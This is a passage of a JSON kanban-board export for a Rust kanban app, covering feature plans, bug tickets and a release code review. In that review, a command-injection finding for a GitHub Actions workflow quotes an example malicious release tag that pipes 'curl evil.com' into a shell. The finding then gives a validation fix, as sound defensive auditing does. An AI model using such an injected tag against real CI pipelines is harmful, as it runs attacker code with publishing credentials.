                            │\n│ 04:58:22 ERROR [kanban_service::context]                            │\n│   Rollback failed: database is locked                               │\n│                                                                     │\n│ 04:58:23 WARN  [kanban_tui::app]                                   │\n│   File watcher: event lag detected (3 events buffered)              │\n│                                                                     │\n│                                                                     │\n│                                                                     │\n│                                                                     │\n├─────────────────────────────────────────────────────────────────────┤\n│ 3 entries  F12:close  c:clear  j/k:scroll                          │\n└─────────────────────────────────────────────────────────────────────┘\n```\n\n**Implementation — fits the existing AppMode pattern:**\n\n```rust\n// Add to AppMode enum:\npub enum AppMode {\n    Normal,\n    CardDetail,\n    BoardDetail,\n    SprintDetail,\n    ArchivedCardsView,\n    DebugLog,        // ← new\n    // ...\n}\n```\n\n```rust\n// F12 handler:\nKeyCode::F(12) => {\n    if self.mode == AppMode::DebugLog {\n        self.pop_mode();\n    } else {\n        self.push_mode(AppMode::DebugLog);\n    }\n}\n```\n\n```rust\n// Auto-switch on ERROR (in tick handler):\nlet new_errors = app.log_buffer.has_errors_since(app.last_error_check);\nif new_errors && app.mode != AppMode::DebugLog {\n    app.push_mode(AppMode::DebugLog);\n    app.needs_redraw = true;\n}\napp.last_error_check = chrono::Utc::now();\n```\n\n```rust\n// crates/kanban-tui/src/ui/debug_screen.rs\n\npub fn render_debug_screen(app: &App, frame: &mut Frame, area: Rect) {\n    let entries = app.log_buffer.recent(100);\n    let mut lines = vec![];\n\n    if entries.is_empty() {\n        lines.push(Line::from(Span::styled(\"  No log entries\", label_text())));\n    } else {\n        for entry in entries.iter().rev() {\n            let (level_str, level_style) = match entry.level {\n                LogLevel::Error => (\"ERROR\", Style::default().fg(Color::Red).add_modifier(Modifier::BOLD)),\n                LogLevel::Warn  => (\"WARN \", Style::default().fg(Color::Yellow)),\n            };\n            let time = entry.timestamp.format(\"%H:%M:%S\");\n\n            // Header line: time + level + target\n            lines.push(Line::from(vec![\n                Span::styled(format!(\"{} \", time), label_text()),\n                Span::styled(format!(\"{} \", level_str), level_style),\n                Span::styled(format!(\"[{}]\", entry.target), label_text()),\n            ]));\n            // Message line: indented\n            lines.push(Line::from(Span::styled(\n                format!(\"  {}\", entry.message),\n                normal_text(),\n            )));\n            // Blank separator\n            lines.push(Line::from(\"\"));\n        }\n    }\n\n    let entry_count = app.log_buffer.len();\n    let block = Block::default()\n        .borders(Borders::ALL)\n        .border_style(focused_border())\n        .title(\"Debug Log (F12 or Esc to close, c to clear)\");\n\n    let content = Paragraph::new(lines).block(block);\n    frame.render_widget(content, area);\n\n    // Status line at bottom\n    // ... render \"N entries  F12:close  c:clear  j/k:scroll\"\n}\n```\n\n### 5. Status bar indicator (on main screen)\n\nWhen the debug screen is closed, show a passive indicator in the status bar so users know something happened:\n\n```\n│ n:new  d:delete  ?:help  F12:debug   ⚠ 2       │\n```\n\nColored yellow for warnings, red if any errors are in the buffer. Disappears when buffer is cleared.\n\n### 6. App state additions\n\n```rust\n// In App struct:\npub log_buffer: LogBuffer,\npub last_error_check: DateTime<Utc>,\n```\n\nNo `debug_panel_open` bool needed — the existing `AppMode` / `mode_stack` handles screen switching via `push_mode(AppMode::DebugLog)` / `pop_mode()`.\n\n### 7. Integration with existing Banner\n\nThe Banner system (`set_error`/`set_success`) continues to work as-is for explicit user-facing messages from handlers. The log buffer is a separate channel for tracing output:\n\n- `set_error(\"Invalid card title\")` → Banner (user action feedback, auto-clears 3s)\n- `tracing::warn!(\"File watcher lag\")` → LogBuffer → status bar ⚠ count\n- `tracing::error!(\"Serialization failed\")` → LogBuffer → status bar ⚠ + auto-switch to debug screen\n\n## Implementation plan\n\n1. **Phase 1**: `LogBuffer` struct + `TuiLogLayer` (capture infrastructure)\n2. **Phase 2**: Wire into `init_tracing()`, replace stderr writer in TUI mode\n3. **Phase 3**: `AppMode::DebugLog` + `render_debug_screen` + F12 handler\n4. **Phase 4**: Auto-switch to debug screen on ERROR\n5. **Phase 5**: Status bar ⚠ indicator on main screen\n6. **Phase 6**: Audit 25+ tracing calls — categorize as user-actionable vs diagnostic\n\n## Files to change\n\n| File | Change |\n|------|--------|\n| `crates/kanban-tui/src/log_buffer.rs` | New: LogBuffer ring buffer |\n| `crates/kanban-tui/src/log_layer.rs` | New: TuiLogLayer tracing Layer impl |\n| `crates/kanban-cli/src/app.rs` | Wire LogBuffer into tracing subscriber |\n| `crates/kanban-tui/src/app/mod.rs` | Add `log_buffer`, `last_error_check` to App; add `DebugLog` to AppMode |\n| `crates/kanban-tui/src/ui/debug_screen.rs` | New: full-screen debug log renderer |\n| `crates/kanban-tui/src/ui/mod.rs` | Route AppMode::DebugLog to render_debug_screen; status bar ⚠ indicator |\n| `crates/kanban-tui/src/handlers/` | Add F12 key binding, debug screen key handlers (q/Esc/c/j/k) |",
        "due_date": null,
        "id": "d2848664-f0e9-4f49-a0c6-3019a64e4bd7",
        "points": 3,
        "position": 156,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245131530Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126612180Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245132168Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix tracing output leaking into TUI display as raw text",
        "updated_at": "2026-05-07T22:06:15.245132509Z"
      },
      {
        "card_number": 393,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T16:06:19.252866742Z",
        "created_at": "2026-05-04T21:16:26.498956728Z",
        "description": "Closed as cannot-reproduce on 2026-05-10. Empirical probe via MCP against ./test/boards.sqlite (ext4, Linux): single writes and 5-write bursts all leave WAL at 0 bytes immediately after the tool returns; main .sqlite mtime advances and bytes are physically present. External sqlite3 reader sees writes immediately. The full chain mutating_op! → save() → flush() → wal_checkpoint(TRUNCATE) is intact across MCP, CLI, and TUI (all converge on the same KanbanContext::save → backend.flush primitive). If a real symptom resurfaces, file a new card with the exact filesystem and reproduction.",
        "due_date": null,
        "id": "d4f41303-3a6b-4066-b8d3-fc7c0473e3af",
        "points": null,
        "position": 157,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806926614Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "bug: MCP server does not flush writes to SQLite db immediately",
        "updated_at": "2026-05-10T16:06:19.252867149Z"
      },
      {
        "card_number": 352,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T08:32:12.458714474Z",
        "description": "PR #226 creates commands with deterministic UUIDs for reproducible replay. Add an integration test that: (1) executes a sequence of commands and saves the command log, (2) reloads from the same command log baseline, (3) asserts the resulting board state is byte-for-byte identical. Cover both JSON and SQLite backends. Ensures replay is stable across sessions.",
        "due_date": null,
        "id": "5430bbf5-3879-4ade-ae34-4bf90b574af2",
        "points": null,
        "position": 157,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245133942Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126569232Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245134774Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add deterministic UUID replay test for command log",
        "updated_at": "2026-05-07T22:06:15.245135106Z"
      },
      {
        "card_number": 353,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T08:32:16.449138219Z",
        "description": "SqliteStore uses WAL mode with a max-2-connection pool. Add integration tests that verify: (1) multiple concurrent readers can query without blocking, (2) writes are serialised correctly under concurrent load, (3) no data races or deadlocks under rapid undo/redo interleaved with writes. Use tokio::test(flavor = \"multi_thread\") and spawn tasks via tokio::spawn.",
        "due_date": null,
        "id": "6545ead0-1eec-4783-8b11-abd2b599da8f",
        "points": null,
        "position": 158,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245136470Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126561895Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245136930Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add SQLite concurrent access tests (multi-reader, single-writer)",
        "updated_at": "2026-05-07T22:06:15.245137250Z"
      },
      {
        "card_number": 332,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.087258533Z",
        "created_at": "2026-04-07T18:54:07.986409967Z",
        "description": "Currently the TUI and CLI fall back to `kanban.json` in the current directory when no file is specified. Change this so the user must provide an explicit file path (or have it configured). Update README.md Quick Start to remove the comment implying a default file is created automatically.\n\n# Related\n\n- KAN-330 targets the same root symptom (unwanted `kanban.json` creation on TUI startup) from the implementation side. One resolution may close both — sequence accordingly.\n\n# Where the fallback lives\n\n- `crates/kanban-core/src/config.rs:5` — `pub const DEFAULT_JSON_FILENAME: &str = \"kanban.json\";` is the root constant that propagates everywhere.\n- `crates/kanban-cli/src/cli.rs:11-12` — clap declares the CLI `FILE` arg with `env = \"KANBAN_FILE\"`, so env-var fallback already works without the file constant.\n- `crates/kanban-cli/src/app.rs:253` — when the CLI arg is `None`, falls through to `kanban_service::config::resolve_storage_location(&config)` which currently returns the default filename.\n- `crates/kanban-service/src/config.rs:183` — the reasoning comment for the current default; needs to be rewritten or removed.\n- `crates/kanban-tui/src/app/mod.rs:2237` — TUI also hardcodes `\"kanban.json\".into()` as a config_storage_location fallback.\n\n# What 'configured' means\n\nWe already accept `KANBAN_FILE` as an env var (see cli.rs:12). The settings/config file path is the other already-existing mechanism — see `kanban_service::config::load` and the settings UI in `crates/kanban-tui/src/handlers/settings_handlers.rs`. The change is to:\n\n1. Stop synthesising a default filename when neither the CLI arg, env var, nor config setting provides one.\n2. Emit a clear error pointing the user at the three ways to specify a file (`kanban <path>`, `KANBAN_FILE=...`, or set `storage_location` in the config).\n\n# Scope\n\n- Remove or repurpose `DEFAULT_JSON_FILENAME`. If the constant is only used as the fallback, drop it; if it is referenced for migration tooling or examples, keep it but stop using it as a runtime default.\n- Update `resolve_storage_location` to return a `Result` that errors when no source provides a path, instead of silently defaulting.\n- Update CLI `app.rs` and TUI startup to surface that error as a clean, actionable message (no panics, no silent file creation).\n- Remove the `\"kanban.json\".into()` fallback in `crates/kanban-tui/src/app/mod.rs` so the TUI cannot reach the path-resolution stage with a synthesised filename.\n- Update README.md Quick Start, the example in `crates/kanban-mcp/README.md:67`, and any inline tests that assume the default (e.g. `crates/kanban-core/src/config.rs:195`).\n- Add a regression test: running the CLI with no FILE arg, no `KANBAN_FILE` env, and no configured `storage_location` should fail with the actionable error and must not create any file in the cwd.\n\n# Done when\n\n- Running `kanban` (or just opening the TUI) in a fresh directory no longer creates `kanban.json`.\n- The error message lists the three valid ways to provide a file.\n- README and MCP docs reflect the new behaviour.\n- KAN-330's symptom (silent file creation on startup) is resolved either by this card or by the work in KAN-330 itself, not by both.",
        "due_date": null,
        "id": "319076a4-d271-4dab-8851-a80160a28729",
        "points": null,
        "position": 158,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245097087Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126601949Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245097777Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Require explicit file path — no implicit kanban.json default",
        "updated_at": "2026-05-11T20:21:30.116244057Z"
      },
      {
        "card_number": 354,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T14:34:02.486835181Z",
        "description": "fetch_cards_with_filter in sqlite_store.rs accepts where_clause: &str interpolated via format!() — footgun for future SQL injection. Replace with enum CardFilter { All, ByColumn(Uuid), BySprint(Uuid) } or a builder that maps to parameterized SQL fragments.",
        "due_date": null,
        "id": "5c854a35-4e40-4534-9049-dfe2ca96e73e",
        "points": null,
        "position": 159,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245138432Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126581578Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245138799Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Replace raw SQL where_clause interpolation",
        "updated_at": "2026-05-07T22:06:15.245139019Z"
      },
      {
        "card_number": 339,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.141757133Z",
        "created_at": "2026-04-13T19:42:32.238692071Z",
        "description": "## PR #208 Review Findings & Fixes\n\nFull detail of all issues from the 0.4.0 release review, grouped by severity.\n\n---\n\n## CRITICAL\n\n### [C-1] Command injection in `aur-publish.yml`\n**File:** `.github/workflows/aur-publish.yml` lines 20-26\n**Risk:** Attacker-controlled release tag (e.g. `v1.0.0; curl evil.com | sh`) executes arbitrary commands on the runner with AUR push credentials.\n\n**Vulnerable code:**\n```yaml\nVERSION=\"${{ github.event.release.tag_name }}\"\nURL=\"https://github.com/fulsomenko/kanban/archive/v${VERSION}.tar.gz\"\nSHA256=$(curl -sL \"$URL\" | sha256sum | cut -d' ' -f1)\n```\n\n**Fix:**\n```bash\nset -e\nVERSION=\"${{ github.event.release.tag_name }}\"\nVERSION=\"${VERSION#v}\"\nif \\! [[ \"$VERSION\" =~ ^[0-9]+\\.[0-9]+(\\.[0-9]+)?(-[a-zA-Z0-9]+)?$ ]]; then\n  echo \"Invalid version: $VERSION\" >&2\n  exit 1\nfi\nURL=\"https://github.com/fulsomenko/kanban/archive/v${VERSION}.tar.gz\"\nSHA256=$(curl -sL \"$URL\" | sha256sum | cut -d' ' -f1)\n```\n\n---\n\n## HIGH\n\n### [H-1] WIP limits not enforced\n**File:** `crates/kanban-domain/src/commands/card_commands.rs`\n**Structs:** `CreateCard::execute()`, `MoveCards::execute()`\n**Risk:** Domain invariant broken — columns with WIP limits accept cards beyond the limit.\n\n**Fix — add before pushing card in CreateCard::execute():**\n```rust\nif let Some(limit) = column.wip_limit {\n    let current = context.cards.iter()\n        .filter(|c| c.column_id == self.column_id && \\!c.archived)\n        .count();\n    if current >= limit as usize {\n        return Err(DomainError::wip_limit_exceeded(self.column_id, limit));\n    }\n}\n```\nSame check needed in `MoveCards::execute()` before moving each card.\n\n**New error variant to add in `error.rs`:**\n```rust\n#[error(\"Column {column_id} has reached its WIP limit of {limit}\")]\nWipLimitExceeded { column_id: ColumnId, limit: u32 },\n```\n\n---\n\n### [H-2] Orphaned card after RestoreCard\n**File:** `crates/kanban-domain/src/commands/card_commands.rs` ~line 127\n**Risk:** If target column was deleted between archive and restore, card gets invalid `column_id` with no error.\n\n**Fix — add validation before assignment:**\n```rust\ncontext.column(self.column_id)\n    .ok_or_else(|| DomainError::column_not_found(self.column_id))?;\ncard.column_id = self.column_id;\n```\n\n---\n\n### [H-3] Unbounded redo stack memory leak\n**File:** `crates/kanban-domain/src/history.rs` lines 67-69\n**Risk:** `push_undo()` caps at MAX_HISTORY_DEPTH; `push_redo()` does not. Long session = unbounded memory.\n\n**Fix — mirror the undo cap:**\n```rust\nfn push_redo(&mut self, snapshot: BoardSnapshot) {\n    if self.redo_stack.len() >= MAX_HISTORY_DEPTH {\n        self.redo_stack.pop_front();\n    }\n    self.redo_stack.push_back(snapshot);\n}\n```\n\n---\n\n### [H-4] Zero tests on error.rs\n**File:** `crates/kanban-domain/src/error.rs`\n**Risk:** From conversions, predicate methods (is_not_found, is_cycle_detected), and error formatting all untested.\n\n**Tests to add:**\n```rust\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn test_is_not_found_returns_true_for_card_not_found() {\n        let e = DomainError::card_not_found(CardId::new());\n        assert\\!(e.is_not_found());\n    }\n\n    #[test]\n    fn test_from_core_error_converts_correctly() {\n        let core_err = CoreError::SomeVariant;\n        let domain_err = KanbanError::from(core_err);\n        // assert expected variant\n    }\n\n    #[test]\n    fn test_error_display_includes_id() {\n        let id = CardId::new();\n        let e = DomainError::card_not_found(id);\n        assert\\!(e.to_string().contains(&id.to_string()));\n    }\n}\n```\n\n---\n\n## MEDIUM\n\n### [M-1] Config not validated after load\n**File:** `crates/kanban-cli/src/app.rs` line 208\n**Risk:** Invalid config values (e.g. `storage_backend: \"yaml\"`) silently pass until persistence fails.\n\n**Fix — immediately after loading config:**\n```rust\nlet config = AppConfig::load(&config_path)?;\nconfig.validate_values()?;   // add this line\n```\n\n---\n\n### [M-2] Auto-corrected config not persisted\n**File:** `crates/kanban-cli/src/context.rs` lines 22-26\n**Risk:** `sync_backend_with_file()` corrects the backend in memory, prints a warning, but never saves. User sees the warning every restart.\n\n**Fix — persist after correction:**\n```rust\nif sync_backend_with_file(&mut config, &path) {\n    tracing::warn\\!(\"Auto-corrected backend in config\");\n    config.save(&config_path)?;   // add this\n}\n```\n\n---\n\n### [M-3] suppress/unsuppress not panic-safe\n**File:** `crates/kanban-domain/src/history.rs` lines 99-106\n**Risk:** If handler calls `suppress()` then panics before `unsuppress()`, history capture stays disabled permanently.\n\n**Fix — RAII guard:**\n```rust\npub struct SuppressionGuard<'a>(&'a mut HistoryManager);\nimpl<'a> SuppressionGuard<'a> {\n    pub fn new(mgr: &'a mut HistoryManager) -> Self {\n        mgr.suppress_capture = true;\n        Self(mgr)\n    }\n}\nimpl Drop for SuppressionGuard<'_> {\n    fn drop(&mut self) { self.0.suppress_capture = false; }\n}\n// Usage:\nlet _guard = SuppressionGuard::new(&mut history);\n// suppress_capture auto-clears when _guard drops\n```\n\n---\n\n### [M-4] O(n²) lookups in CommandContext\n**File:** `crates/kanban-domain/src/commands/mod.rs` lines 38-64\n**Risk:** `board_mut()`, `card_mut()`, `column_mut()`, `sprint_mut()` all do linear Vec scans. Batch operations = O(n²).\n\n**Fix — add HashMap index:**\n```rust\npub struct CommandContext<'a> {\n    pub cards: &'a mut Vec<Card>,\n    card_index: HashMap<CardId, usize>,  // id → vec index\n    // ...\n}\n// Rebuild index on construction; use it in card_mut():\npub fn card_mut(&mut self, id: CardId) -> Option<&mut Card> {\n    self.card_index.get(&id)\n        .and_then(|&i| self.cards.get_mut(i))\n}\n```\n\n---\n\n### [M-5] Shallow migration test assertions\n**File:** `crates/kanban-cli/tests/migrate.rs` lines 38-45\n**Risk:** Only `board.name` and `board.card_prefix` checked. Card data, timestamps, sprints silently lost.\n\n**Fix — expand assertions:**\n```rust\nassert_eq\\!(orig_board.name, loaded_board.name);\nassert_eq\\!(orig_board.card_prefix, loaded_board.card_prefix);\nassert_eq\\!(orig_board.description, loaded_board.description);\nlet orig_cards = original.list_cards(board_id).unwrap();\nlet loaded_cards = loaded.list_cards(board_id).unwrap();\nassert_eq\\!(orig_cards.len(), loaded_cards.len());\nfor (o, l) in orig_cards.iter().zip(loaded_cards.iter()) {\n    assert_eq\\!(o.title, l.title);\n    assert_eq\\!(o.created_at, l.created_at);\n    assert_eq\\!(o.description, l.description);\n}\n```\n\n---\n\n### [M-6] Zero tests in context.rs\n**File:** `crates/kanban-cli/src/context.rs`\nAdd integration tests covering: `load()` happy path, auto-backend-correction warning, config save-after-correction, `save()` round-trip.\n\n---\n\n## LOW\n\n### [L-1] Silent FK repair during migration\n**File:** `store_manager.rs` `repair_snapshot_fks()`\n**Fix:** Return a `Vec<RepairAction>` describing what was removed, and log/display it to the user before migration completes.\n\n---\n\n### [L-2] Silent graph edge deletion in DeleteCard\n**File:** `crates/kanban-domain/src/commands/card_commands.rs` `DeleteCard::execute()`\n**Fix — warn before removing incoming edges:**\n```rust\nlet incoming = context.graph.incoming_edges(self.card_id);\nif \\!incoming.is_empty() {\n    tracing::warn\\!(\"Deleting card {} removes {} dependency edges\", self.card_id, incoming.len());\n}\ncontext.graph.remove_card_edges(self.card_id);\n```\n\n---\n\n### [L-3] sed delimiter breaks on version with '/'\n**File:** `.github/workflows/aur-publish.yml` line 25\n```bash\n# Before:\nsed -i \"s/^pkgver=.*/pkgver=${VERSION}/\" ./aur/PKGBUILD\n# After:\nsed -i \"s|^pkgver=.*|pkgver=${VERSION}|\" ./aur/PKGBUILD\n```\n\n---\n\n### [L-4] Unguarded unreachable\\! in app.rs\n**File:** `crates/kanban-cli/src/app.rs` ~line 85\n```rust\n// Remove this arm — let compiler enforce exhaustiveness:\nCommands::Completions { .. } | Commands::Migrate(_) => unreachable\\!()\n```\n",
        "due_date": null,
        "id": "b96660c6-e96c-487f-bf2c-5d35679e26e1",
        "points": null,
        "position": 159,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245070807Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126614650Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245071600Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Address PR #208 (0.4.0) code review feedback",
        "updated_at": "2026-05-11T20:21:30.168075734Z"
      },
      {
        "card_number": 363,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.194574469Z",
        "created_at": "2026-04-19T21:29:18.929079477Z",
        "description": "Regression: navigating to a card and pressing Enter opens the detail view for a different card. Needs minimal fix tracing the card selection index to the detail view.",
        "due_date": null,
        "id": "39b0a8a8-badc-4d85-81f5-18a0aa286e76",
        "points": null,
        "position": 160,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245153890Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126584245Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245154421Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "fix(tui): selecting a card opens details for wrong card",
        "updated_at": "2026-05-11T20:21:30.219371829Z"
      },
      {
        "card_number": 355,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T14:34:03.937971510Z",
        "description": "KanbanContext::execute() clones full store snapshot before every command for rollback. Save only affected entities instead of full snapshot. Commands should declare which entity types they touch; save/restore only those.",
        "due_date": null,
        "id": "3de06cf7-7135-4ebb-a244-a205a6671a27",
        "points": null,
        "position": 160,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245140236Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126623885Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245140716Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Optimize snapshot clone on execute",
        "updated_at": "2026-05-07T22:06:15.245140991Z"
      },
      {
        "card_number": 365,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.248664582Z",
        "created_at": "2026-04-19T22:56:45.741322987Z",
        "description": null,
        "due_date": null,
        "id": "0fad04fb-3d39-411e-8b73-770aed639901",
        "points": null,
        "position": 161,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245073823Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126635098Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245074687Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "block quit during migration with double-q UI",
        "updated_at": "2026-05-11T20:21:30.274473428Z"
      },
      {
        "card_number": 356,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T14:34:17.215849305Z",
        "description": "The 32-method DataStore trait violates Interface Segregation. Split into per-entity repository traits. DataStore becomes a supertrait combining them.",
        "due_date": null,
        "id": "7c1ea781-1ccf-475d-bc72-f2a1586782b1",
        "points": null,
        "position": 161,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245142213Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126633883Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245142667Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Split DataStore god trait (ISP violation)",
        "updated_at": "2026-05-07T22:06:15.245142930Z"
      },
      {
        "card_number": 357,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T14:34:19.234567889Z",
        "description": "block_in_place panics on single-threaded Tokio runtimes. Make DataStore trait methods async or provide a DataStoreSync wrapper.",
        "due_date": null,
        "id": "0b99cce0-d8ca-4294-8d22-ad5504b6dae7",
        "points": null,
        "position": 162,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245144069Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126582949Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245144743Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Async DataStore trait - eliminate block_in_place",
        "updated_at": "2026-05-07T22:06:15.245145103Z"
      },
      {
        "card_number": 366,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.302593784Z",
        "created_at": "2026-04-20T19:19:12.256447265Z",
